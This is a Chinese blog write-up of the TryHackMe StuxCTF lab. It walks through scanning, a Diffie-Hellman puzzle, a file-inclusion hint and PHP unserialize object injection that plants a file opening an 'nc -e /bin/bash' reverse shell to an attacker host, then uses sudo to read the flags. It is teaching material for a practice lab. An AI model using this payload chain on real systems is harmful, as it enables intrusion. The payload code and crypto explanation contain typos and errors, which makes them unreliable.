StuxCTF Write-UP

朱雀 2024-04-18 15:37 64阅读 0赞

StuxCTF Write-UP

Link: https://tryhackme.com/r/room/stuxctf

截图如下：

![711492d0c5268efc78f85a6488e7c107.png][]

1.  1. 进入CTF环境
2.  a1) 点击Start Machine,启动目标机器

![dec61d600d7d770020b447b799a4478e.png][]

1.  b2) 点击Attack Box，启动虚拟机

![dd588d1da284b4872bf7f5a544e410d9.png][]

虚拟机位于网页的右侧。

1.  2. 扫描环境，收集信息

由于CTF里没有任何关于目标机器上，有什么服务、端口可用的描述，我们先扫描一下这个机器的所有端口，看看可用端口、服务有哪些。

nmap -A -v <TARGET\_IP>

各个参数截图描述：

![6de57c49fcd02135260917d1724ff85d.png][]

\-v 是verbosemode，显示详细信息

Nmap探测结果如下：

![3b927ff3371454051bc41618eb94f68d.png][]

探测结果表明，有SSH服务和HTTP两个服务存在。尝试了一下SSH服务，用tryhackeme的账号密码登录不上，显然没有那么简单过关拿Flag。

剩下的就是HTTP了，我们访问一下这个HTTP服务，里面有一个robots.txt,还有一个StuxCTF的目录，搜寻一些能找到的信息。

先访问一下robots.txt，看看里面有啥很么？

![543f980a2f62730793aaaeb728c97c2e.png][]

第二行有点吸引眼球，Diffie-Hellman，两个人名？他们是谁？搜索一下，原来是两个开创了非对称加密的大神。看来这个CTF Room和非对称加密有关。

![1451d381f91d878d4243864b17798d53.png][]

Disallow /SutxCTF, 看起来这个目录是搜索引擎不能访问的，看了一下，也打不开。

访问一下Web服务器的首页，结果显示：

![36bbe1a8e6e2dbed8c346f722bf54af4.png][]

IsBlank? Yeah, 看起来没有什么信息，作为一个Grey Hat的努力者，一般不会相信is blank就啥也没有，看看源代码。

![0903c865e86a6de32dd6961f73a24571.png][]

注释里的信息，显示是别有用心的精致提示。Gpab，看起来就是Diffie-Hellman研究的非对称加密算法体系。下面来深入研究一下这个加密算法。

1.  3. 分析对称加密

详细分析看这里： https://zhuanlan.zhihu.com/p/599518034

![e34456439e58c20e48dbc44e935eb6a5.png][]

1）P是一个差大素数，G是一个generator，这两个是公开的。形成公匙： G ^ n mod P, G\\P\\公式公开。

2）A方（图中客户端方）和B方（途中服务器方）各自保留一个密匙a, b

3）A方生成自己的public key: Pa = G ^ a mod P, 发送给B.

4）B方生成自己的public key: Pb = G ^ b mod P, 发送给A。

5）生成shared key: G ^ a ^ Pb mod P == G ^ b ^ Pa mod P

6) 如果有更多方， 则share Key = G ^ a ^ Pb … ^ Pn mod P.

根据注释中给出的g、a、b、g^c四个参数，我们猜测是3个参与方的shared key的计算。试一试：

![6b5939355106160cde7502a112efc5e7.png][]

由于第三个Flag提示first 128字符，所以对shared key的结果进行提取128个字符。

结果是：

47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055

输入第三个框，成功解决一个，找到了隐藏目录。

在进入这个隐藏目录，看看有什么内容？

![0af90a326a107b55f7f9377ce4594189.png][]

OMG, where’s the white rabbit to follow?找不到白兔子，那就看看白盒子，翻翻源代码。

![f068f0e657037c3c50d364e7fc12248d.png][]

好吧，这个有个提示， /?file= ,难道是把user.txt和root.txt作为参数传给他，就能拿到结果吗？

可惜，都显示没有这个文件，显然没有这么简单让过，这两个文件不在这个目录里。

那有没有办法看到index.php的内容？试试file=index.php,结果大力出了个奇迹，给了这么一长串的…啥东西？3d3d67432b384349794a47502b7757623068324c386f67507641696369786a50355232626939435067414349676f67507641696369786a5030425861794e326376776a50694d6e617534576174354363684a48647a523362764a324c7a70324c7a52585a7a4e585969307a59794e484930425861794e32633841434967414349674143494b347a4c67496e5938344464776c6d636a4e334c38346a497a706d4c756c5762754d6a4c78456a4c78305365795657647870324c7a70324c7a52585a7a4e585969307a59794e484930425861794e32633841434967414349674143494b347a4c67496e593841434967414349674143496741434967346a647052324c3841434967414349674143494b347a4c67496e59…………

这个可能是什么呢？3d3d,这个有点熟悉，应该是ASCII的一个特殊字符，难道是一堆ASCII码？那解开试试：

![2ab74f410bad05da03517c01fab72278.png][]

得到的输出是：

==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

这个看起来一定是Base64编码呀，但是用base64.decode解码居然失败了！！用一个在线base64编解码，也失败了！怎么回事呢？这个字符串用==开头，这个不是base64尾部补齐专用吗？它是反序的！好的，解开他：

![14b589ba9990205dded205ed12f5b578.png][]

OK，顺利解出，内容是:

![7d5c92a3c4c6643c7acec75b6bbef0b4.png][]

妥妥的是一段PHP代码，危险就在最后一行上：

Unserialize函数，在把string反序列化时，是会执行代码的。生成对象，对象释放时，也会执行\_\_destruct函数，他还接受了用户输入，那就是很好的注入恶意代码的地方了。

1.  4. 利用unserialize函数进行注入

But，我们对目标机器本地文件一无所知，也无权限操作，怎么办？那就看看远程文件了，如果他能把远程文件的URL读入，把内容写入，那也是OK的。

怎么让他读入远程文件呢？试试：

?file = http://<LOCAL>:8000/test.txt

居然没有报告文件错误，那看起来时收下了。

在研究一下要上传的内容，我们要构造的内容，希望写入到一个PHP文件中（比如叫hack.php），注入一个可以执行命令的PHP即可。或者本地监听一个nc服务，让目标机器连接过来也可。我们看看第二种。

怎么在本地起一个nc监听？对应的命令是

Nc -lvnp 8888

怎么让远程服务器连接过来呢？对应的命令是：

nc -e /bin/bash <LOCAL IP> 8888

如此，我们沟通一个对象进行序列化，写入到本地文件中，然后通过http服务，把文件下载到目标机器进行反序列化，再写入目标机器，完成恶意代码的注入。

<?php

class file{

Public $file = ‘hack.php’;

Public $data = ‘<?php shell_exec(“nc -e /bin/basn <LOCALIP> 8888”);

echo(serialize(new file))

}

这段代码执行后，会生成对象的对应字符串：

O:4:"file":2:{s:4:"file";s:7:"hackphp";s:4:"data";s:48:"<?php shell_exec(nc -e /bin/basn <LOCALIP> 8888)";

执行的结果写入到hack.txt中.

准备好这个文件后，我们启动web服务器：

Python3 -m http.server

这样就可以通过 http://local\_ip:8000/remote.txt访问这个文件了。

调用 http://<TARGET\_IP>/xxxxxx/file?=http://local\_ip:8000/remote.txt完成注入，生成了hack.php。

启动本地nc监听，然后调用： http://<TARGET\_IP>/xxxx/remote.php

连接到本地的nc监听服务器，既可以远端执行linux的命令行了。

1.  5. 提权

在nc窗口，调用ls，发现没有需要的user.txt和root.txt，既然知道文件名，那就查找吧！

Find / -name ‘user.txt’

/home/grecia/user.txt

Find / -name ‘root.txt’

没有找到文件。

既然CTF中明确提到有这个文件，那么肯定有这个文件啊，难道是这个用户的权限不足？试试sudo，居然能直接执行sudo命令：

Sudo find / -name ‘root.txt’

/root/root.txt

OK, 用cat命令查看user.txt和root.txt的文件内容，提交flag。即可完成了。

总结：

这个CTF涉及的内容非常广，信息收集、非对称加密、PHP的可执行系统命令的函数漏洞等等，值得很好的学习一下。

我也是查看了一些其它的write up才过关，核心是unserialize函数的漏洞，对PHP语言的安全漏洞我不熟悉。

[711492d0c5268efc78f85a6488e7c107.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/18/4d7b5a1ffe2b40a0b34508e5411d31bc.png
[dec61d600d7d770020b447b799a4478e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/18/675127ea16ab42e292ad10afea011a0d.png
[dd588d1da284b4872bf7f5a544e410d9.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/18/83e07d1d49604fd38b77373f83f1f654.png
[6de57c49fcd02135260917d1724ff85d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/18/812e809ab91c43848400109b58fb27b1.png
[3b927ff3371454051bc41618eb94f68d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/18/d9d73cb10b0d4522a47f1cd0124dcf5a.png
[543f980a2f62730793aaaeb728c97c2e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/18/c2b169ae607d479d994f666b507681c4.png
[1451d381f91d878d4243864b17798d53.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/18/8ec3ca3b63f84c65a227000f996e4ecf.png
[36bbe1a8e6e2dbed8c346f722bf54af4.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/18/c4a7aae96e444d5f8a56f32334d618f4.png
[0903c865e86a6de32dd6961f73a24571.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/18/7452f4f6553847feb0b3d210d1f24f25.png
[e34456439e58c20e48dbc44e935eb6a5.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/18/695dad48e0bd446a9a5be1e383d1c633.png
[6b5939355106160cde7502a112efc5e7.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/18/01ac59528db8439a948fee475dd2a543.png
[0af90a326a107b55f7f9377ce4594189.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/18/b209f8e8d14049788439b116aed7011d.png
[f068f0e657037c3c50d364e7fc12248d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/18/872f5c4ea8a34179b34251c1eada496e.png
[2ab74f410bad05da03517c01fab72278.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/18/499e5fe9a4084bc581bc3c9c8a2208ad.png
[14b589ba9990205dded205ed12f5b578.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/18/2fbf648857c84c07873172e15574ec2a.png
[7d5c92a3c4c6643c7acec75b6bbef0b4.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/18/96ef805c37be45189bc0b94b8868ee3a.png